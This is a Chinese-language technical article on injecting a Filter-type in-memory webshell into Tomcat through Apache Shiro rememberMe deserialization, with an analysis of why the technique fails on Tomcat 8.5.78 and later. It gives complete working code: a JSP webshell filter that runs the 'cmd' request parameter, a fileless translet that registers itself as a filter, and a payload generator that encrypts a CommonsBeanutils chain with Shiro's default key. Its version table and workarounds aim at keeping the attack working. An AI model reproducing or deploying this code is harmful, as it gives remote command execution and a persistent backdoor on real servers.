shiro注入filter内存马及tomcat版本对获取context影响的分析
字数 1603 2025-08-19 12:42:30

Shiro注入Filter内存马及Tomcat版本对获取Context影响的分析

前言

本文详细分析了在Shiro框架中注入Filter型内存马的技术实现,以及Tomcat版本差异对获取StandardContext的影响。通过实际案例演示了内存马的注入过程,并深入探讨了在不同Tomcat版本中遇到的问题及解决方案。

环境配置及准备

  • Tomcat版本
    • 正确版本:Tomcat 8.5.50
    • 问题版本:Tomcat 8.5.79
  • Shiro环境:使用p神的Java安全配套环境(ShiroDemo)
  • 依赖:CommonsBeanutils组件(用于构造CB链)

Filter内存马技术原理

内存马基本结构

Filter内存马由三部分组成:

  1. FilterDefs:存放FilterDef的数组,存储过滤器名、过滤器实例和作用URL等基本信息
  2. FilterConfigs:存放filterConfig的数组,主要存放FilterDef和Filter对象等信息
  3. FilterMaps:存放FilterMap的数组,主要存放FilterName和对应的URLPattern

JSP型Filter内存马示例

<%!
public class EvilFilter implements Filter {
    public void init(FilterConfig filterConfig){}
    
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws ServletException, IOException {
        String cmd = servletRequest.getParameter("cmd");
        Runtime.getRuntime().exec(cmd);
        filterChain.doFilter(servletRequest, servletResponse);
    }
    
    public void destroy(){}
}
%>

<%
// 获取StandardContext
Field field = request.getClass().getDeclaredField("request");
field.setAccessible(true);
Request request1 = (Request) field.get(request);
StandardContext context = (StandardContext) request1.getContext();

// 创建FilterDef
Filter filter = new EvilFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("EvilFilter");
filterDef.setFilterClass(filter.getClass().getName());
context.addFilterDef(filterDef);

// 创建FilterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context, filterDef);
Field field1 = StandardContext.class.getDeclaredField("filterConfigs");
field1.setAccessible(true);
Map filterConfigs = (Map)field1.get(context);
filterConfigs.put("EvilFilter", filterConfig);

// 创建FilterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("EvilFilter");
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
context.addFilterMap(filterMap);
%>

无文件落地内存马实现

获取StandardContext的替代方案

在无文件落地场景下,无法直接获取request对象,需要通过线程ContextClassLoader获取:

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext context = (StandardContext) webappClassLoaderBase.getResources().getContext();

完整内存马实现

public class BehinderFilter extends AbstractTranslet implements Filter{
    static {
        try {
            // 获取StandardContext
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext context = (StandardContext) webappClassLoaderBase.getResources().getContext();
            
            // 创建FilterDef
            Filter filter = new BehinderFilter();
            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(filter);
            filterDef.setFilterName("EvilFilter");
            filterDef.setFilterClass(filter.getClass().getName());
            context.addFilterDef(filterDef);
            
            // 创建FilterConfig
            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context, filterDef);
            Field field1 = StandardContext.class.getDeclaredField("filterConfigs");
            field1.setAccessible(true);
            Map filterConfigs = (Map)field1.get(context);
            filterConfigs.put("EvilFilter", filterConfig);
            
            // 创建FilterMap
            FilterMap filterMap = new FilterMap();
            filterMap.setFilterName("EvilFilter");
            filterMap.addURLPattern("/*");
            filterMap.setDispatcher(DispatcherType.REQUEST.name());
            context.addFilterMap(filterMap);
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {}

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws ServletException, IOException {
        String cmd = servletRequest.getParameter("cmd");
        Runtime.getRuntime().exec(cmd);
        filterChain.doFilter(servletRequest, servletResponse);
        System.out.println("doFilter");
    }

    @Override
    public void destroy() {}
}

Shiro反序列化注入

Payload生成代码

public class Exp {
    public static void main(String []args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(BehinderFilter.class.getName());
        byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

注入方式

通过Shiro的rememberMe Cookie字段发送加密后的payload。

Tomcat版本问题分析

问题现象

在Tomcat 8.5.79版本中注入失败,报错"unable to deserialize argument byte array"。

根本原因

不同Tomcat版本中WebappClassLoaderBase#getResources()方法的实现不同:

  1. Tomcat 8.5.79及以后版本

    • getResources()方法被标记为@Deprecated
    • 方法内部直接返回null
    • 导致获取StandardContext时出现空指针异常
  2. Tomcat 8.5.50及之前版本

    • getResources()方法返回有效的Resources对象
    • 可以正常获取StandardContext

版本兼容性测试结果

测试了多个Tomcat 8版本的兼容性:

版本号 是否可用
8.5.37 可用
8.5.60 可用
8.5.70 可用
8.5.77 可用
8.5.78 不可用
8.5.79 不可用
8.5.81 不可用

结论:Tomcat 8.5.78及以后版本无法使用WebappClassLoaderBase#getResources()方法获取StandardContext。

解决方案

  1. 使用兼容的Tomcat版本:选择Tomcat 8.5.77或更早版本
  2. 替代获取StandardContext的方法
    • 通过Thread.currentThread().getContextClassLoader()获取ClassLoader后,尝试其他方式获取Context
    • 探索Tomcat内部其他获取Context的途径
  3. 修改内存马注入逻辑:适应新版Tomcat的API变化

后记

在实际渗透测试中,需要注意目标系统的Tomcat版本,选择合适的内存马注入方式。同时,开发人员应关注安全更新,及时修补相关漏洞。

参考链接

  1. p神的Java安全配套环境
  2. bitterz师傅的文章
  3. 相关技术分析
Shiro注入Filter内存马及Tomcat版本对获取Context影响的分析 前言 本文详细分析了在Shiro框架中注入Filter型内存马的技术实现,以及Tomcat版本差异对获取StandardContext的影响。通过实际案例演示了内存马的注入过程,并深入探讨了在不同Tomcat版本中遇到的问题及解决方案。 环境配置及准备 Tomcat版本 : 正确版本:Tomcat 8.5.50 问题版本:Tomcat 8.5.79 Shiro环境 :使用p神的Java安全配套环境(ShiroDemo) 依赖 :CommonsBeanutils组件(用于构造CB链) Filter内存马技术原理 内存马基本结构 Filter内存马由三部分组成: FilterDefs :存放FilterDef的数组,存储过滤器名、过滤器实例和作用URL等基本信息 FilterConfigs :存放filterConfig的数组,主要存放FilterDef和Filter对象等信息 FilterMaps :存放FilterMap的数组,主要存放FilterName和对应的URLPattern JSP型Filter内存马示例 无文件落地内存马实现 获取StandardContext的替代方案 在无文件落地场景下,无法直接获取request对象,需要通过线程ContextClassLoader获取: 完整内存马实现 Shiro反序列化注入 Payload生成代码 注入方式 通过Shiro的rememberMe Cookie字段发送加密后的payload。 Tomcat版本问题分析 问题现象 在Tomcat 8.5.79版本中注入失败,报错"unable to deserialize argument byte array"。 根本原因 不同Tomcat版本中 WebappClassLoaderBase#getResources() 方法的实现不同: Tomcat 8.5.79及以后版本 : getResources() 方法被标记为 @Deprecated 方法内部直接返回 null 导致获取StandardContext时出现空指针异常 Tomcat 8.5.50及之前版本 : getResources() 方法返回有效的Resources对象 可以正常获取StandardContext 版本兼容性测试结果 测试了多个Tomcat 8版本的兼容性: | 版本号 | 是否可用 | |---------|----------| | 8.5.37 | 可用 | | 8.5.60 | 可用 | | 8.5.70 | 可用 | | 8.5.77 | 可用 | | 8.5.78 | 不可用 | | 8.5.79 | 不可用 | | 8.5.81 | 不可用 | 结论 :Tomcat 8.5.78及以后版本无法使用 WebappClassLoaderBase#getResources() 方法获取StandardContext。 解决方案 使用兼容的Tomcat版本 :选择Tomcat 8.5.77或更早版本 替代获取StandardContext的方法 : 通过 Thread.currentThread().getContextClassLoader() 获取ClassLoader后,尝试其他方式获取Context 探索Tomcat内部其他获取Context的途径 修改内存马注入逻辑 :适应新版Tomcat的API变化 后记 在实际渗透测试中,需要注意目标系统的Tomcat版本,选择合适的内存马注入方式。同时,开发人员应关注安全更新,及时修补相关漏洞。 参考链接 p神的Java安全配套环境 bitterz师傅的文章 相关技术分析